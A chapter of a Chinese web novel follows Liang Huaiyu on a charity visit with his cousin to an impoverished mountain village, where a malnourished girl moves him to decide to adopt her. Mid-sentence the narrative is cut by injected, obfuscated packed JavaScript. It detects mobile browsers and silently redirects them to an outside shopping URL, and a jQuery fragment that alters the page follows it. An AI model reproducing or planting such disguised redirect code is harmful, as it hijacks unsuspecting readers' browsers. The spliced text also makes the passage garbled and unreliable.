文容这位表哥，梁怀聿一直觉得他是个怪人。
比方说，在该争夺家产的年纪，他选择不参与那些纷争，自动放弃，归隐山野。
梁怀聿觉得自己更怪。
十八岁后的毕业旅行，他竟然选择和文容一起下乡，一脚踏入地图上某个需要辗转多次才能抵达、被群山褶皱隐藏的村落。
此刻他站在一块不够平坦的石块上。
昨天下过雨，没有修路的乡村一片泥泞，梁怀聿低头看着鞋尖，检查没有染上脏污。明明他已经很小心了，可还是脏了一圈。
这时小孩子们被村长领着出来了，他们噼里啪啦地踩过泥水跑来，梁怀聿垂下视线，一双双黑乎乎的脚底板，就这么光脚踩在地上。
文容温柔地向这群孩子们发放新衣和书本。他一边摸他们的头，一边向他们问好：“小朋友你好啊，以后要好好读书，知道吗？”
这些小孩子呢，很少有能说会道的，个个都像小哑巴，涨红了脸，很久才憋出一句“谢谢哥哥”。
这时，角落里挪过来一个真正的小哑巴，一声不吭，整个人灰扑扑的，像蒙了灰尘的水晶球。
梁怀聿看过去，她很瘦，非常瘦小，不是那种纤细的瘦，宛如被掏空了迷米袋，那样不同寻常的瘦小。
他瞬间想起曾经见过的一只瘦骨嶙峋的幼猫，能透过皮肤看见骨头的形状。小女孩就像这只猫。
文容一点儿也不嫌弃，一如既往地摸摸她脑袋：“小妹妹，要好好读书哦，这里有新衣服，还有童话书，要认真看哦。”
小妹妹不说话，文容也不生气，依然微笑，目送她离开。
还没摸上下一个小朋友的脑袋，就听见扑通一声——
小妹妹滑了一跤，趴在泥水里，书和新衣抱在怀里，全脏透了。
梁怀聿：……
他不得不领着她离开，村长打来热水，他帮她擦拭脸上和手臂上的泥水，握着她的手臂，梁怀聿想起了那只幼猫。
他直接握住了她的骨头。
他很讨厌这样的触感，猫咪本该是柔软的动物，那天他却只感受到……坚硬。
梁怀聿草草地将她擦完，拿来新衣，对她说：“你自己换上，可以吗？”
小妹妹还是不说话。
梁怀聿盯着她的脸。
五岁了？还是六岁？总之应该上小学了，他不能帮她换衣服。
“换衣服。听见了吗？”他重复一遍，不管她，离开了堂屋。
他问站在外面的村长：“她是哑巴吗？”
“啊呀，不是咧，妹妹她脑壳有点问题。”
村长开始用塑普介绍起这位小女孩迄今为止的人生。短暂，三言两语就讲完。
她不是本村人，八年前一位大着肚子的女人逃到他们村，大概是被拐卖到别村的女人。
女人疯了，公安来过，问不出任何话，没办法送她回家，就这样将她扔在了这里。后来被他们村一个女哑巴收养，几个月后女人生下了妹妹，喂到妹妹断奶，她就去世了。
“这个哑巴呢，五六十岁了，身体也就那样子，勉勉强强将妹妹拉扯到三岁，就死掉了。”
话停了。梁怀聿没接话，远处飘来隐约的鸡叫。
就这么完了？
一个人的来处，两个人的死亡，一个孩子的八年，就这么轻飘飘的，三句话，就完了。
房间门吱呀一声响，穿着新衣的小妹妹走出来。
梁怀聿低头看着安静的小豆芽。尺码按身高来说是合适的，可她太瘦，衣服不像穿在她身上，像挂着。像一个麻布袋。
竟然八岁了。
景翊同样八岁，她比他矮了多少？
小孩子蹿得高，前两年还是小小豆的梁景翊，今年快到他胸口了。
而她呢，才到他的大腿根部，像是刚发芽不久，再不浇水，马上就会渴死的豆芽。
梁怀聿蹲下来，牵住她小小瘦瘦的手，他再次想起那只幼猫。它在他怀里咽气，死了之后，它的身体似乎更加干瘪，像是缩了水的肉垫冰凉地搭在掌心。
他忍住将她甩开的强烈冲动，梁怀聿扬起一个过分灿烂明媚的笑容：“哇！新衣服真好看，很适合你哦。小妹妹，你叫什么名字呀？”
矫揉造作没换来女孩的搭理。她还是那副呆呆的、看着不太聪明的样子，梁怀聿心想，原来脑壳有问题的人是这样的。
他转头看向村长。
笨归笨，不是说不是哑巴吗？？
村长看着他，倏忽扯开一个诡异的笑容：“梁先生，你等一下！”
十分钟后，另一颗小豆芽被领到他面前。
不，准确来说是小豆子。她比小豆芽更矮小，但胖些，没那么瘦，天生的婴儿肥令她看起来勉强像一颗圆润的小豆子。
小豆子来了。那颗灰扑扑的水晶球，忽然亮了一下。
她拎起新衣的衣摆，展示给比自己还矮半个头的小女孩，慢慢吞吞地，一个字一个字往外挤：
“哥哥……给我的。新衣服。”真的不是哑巴啊。
村长向他解释：“妹妹只有在平安面前才会多讲几句话，她们两个是姐妹花，从小到大黏在一起。”
“双胞胎？”
“不是，这个平安是隔壁家的，哑巴死了后，妹妹是靠平安家给饭吃长大的。”
文容给孩子们发完东西后，过来找他。他还得走访看看严重贫困的几户人家，选择几位孩子供他们读书。
雨后的泥巴地和沼泽地有什么区别，梁怀聿原本打算原地等他，此刻改了想法：“我和你一起去。”
小豆子就是走访的人家之一。
梁怀聿看见了世界的另一面，与自己生活截然相反的世界。
他不想详细描述那天的所见所闻，因为任何一种描述，对他们的生活而言，都将是霸凌。
文容和大人沟通，从他们那和方言没什么区别的普通话里，了解到两位女孩的生活与读书。
在说到她们要走一个小时去隔壁村读小学时，两个女孩正贴在一起翻看童话书。
梁怀聿深深地凝着。他猜想她们并不识字，是看着插画傻笑。就算义务教育是免费的，可上下学徒步两小时，城里孩子都不一定能坚持，更何况她们要走崎岖山路。
那晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202936|197269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，梁怀聿同文容回到县城下榻，落脚在当地最好的宾馆。
推开门，一股陈年的霉味，混着难以言说的味道，扑面而来。
梁怀聿站在门口，深吸一口气，才踏进去。
他抖开一次性床单，将旅馆的枕头被子严密地包裹起来。炎夏夜里，他依然穿着长衣长裤，避免与房间里的任何东西甚至空气直接接触。
他就这样僵硬地躺在床上，一动不动，身旁文容支着电脑，还在处理今天的事务。
小豆子和小豆芽都被列入资助名单。
梁怀聿转过脸问他：“怎么资助？”
回答朴实无华。给钱。
可是上学路依然要走一个小时。
文容沉默一瞬，说：“能给钱就很不错了。”
文容哥，难道你每次都是看过这些苦难后，又无能为力地放弃吗？
是啊，怀聿，你是不是以为做慈善要的是一颗柔软的心，不是的，要一颗坚硬的心。越硬越好。
不可能在他们村里修一所小学，大家都在往外走，留在村里的孩子会越来越少，何况就算修了学校，哪有那么多乡村教师？
梁怀聿沉默了，良久，他问：
“你打算供她们到什么时候？”
“大部分读完九年义务教育，就够了。这些孩子，再怎么努力，被环境影响，鲜少有出众的，成绩好点的，我会供他们读完高中。大学……就算考取了，也难有人去读。春天要播种，秋天要收割，他们的人生啊，只剩下两个季节任他们自由安排。”
之后几天，梁怀聿跟着文容去了更多村落。
他不再站在一旁冷冷地看着，他尝试着像文容那样，去摸那些孩子的头。孩子们排着队，像是营养不良的小猴子。掌心擦过油腻打结的头发，像沾上了洗不掉的油垢。他拼命地用湿巾擦去这恶心的触感，它们却像是纹身永远刻进了肌肤里。
再没有那样的女孩。
小猫一样的孱弱，返回北京的前夜，他梦见那只幼猫，白色的小小的，身上有一点狸花的纹路，它趴在他的掌心，像是一块被人捏了很多次的捏捏玩具，脏、硬，没有回弹。
梁怀聿在黑暗里惊醒，喉头泛着酸水。
他想起握住她手臂那一刻，恶心的令他想要呕吐的触觉从肌肤传递到大脑。
梁怀聿靠着车窗，他们需要坐车赶到隔壁城市，再乘坐高铁到达长沙，再从长沙飞回北京。
车窗外的群山在晨雾中倒退。
梁怀聿靠着震动的车窗，看着那片吞噬了无数小豆芽的褶皱群山。
他试着去回忆那只猫。取而代之的，却是另一张脸，灰扑扑的，瘦得只剩一双明亮的眼睛。
那双眼睛就那样望着他，从门缝里，从泥地里，从此刻摇摇晃晃的车窗上。
哪里都是她。
“文容。”
“嗯？”
“如果修不了学校，我送她们出来读书。”
车窗外的群山还在退，他们离那越来越远。
梁怀聿转过头，看着表哥，一字一句郑重地重复决定：
“我想收养那个孩子。”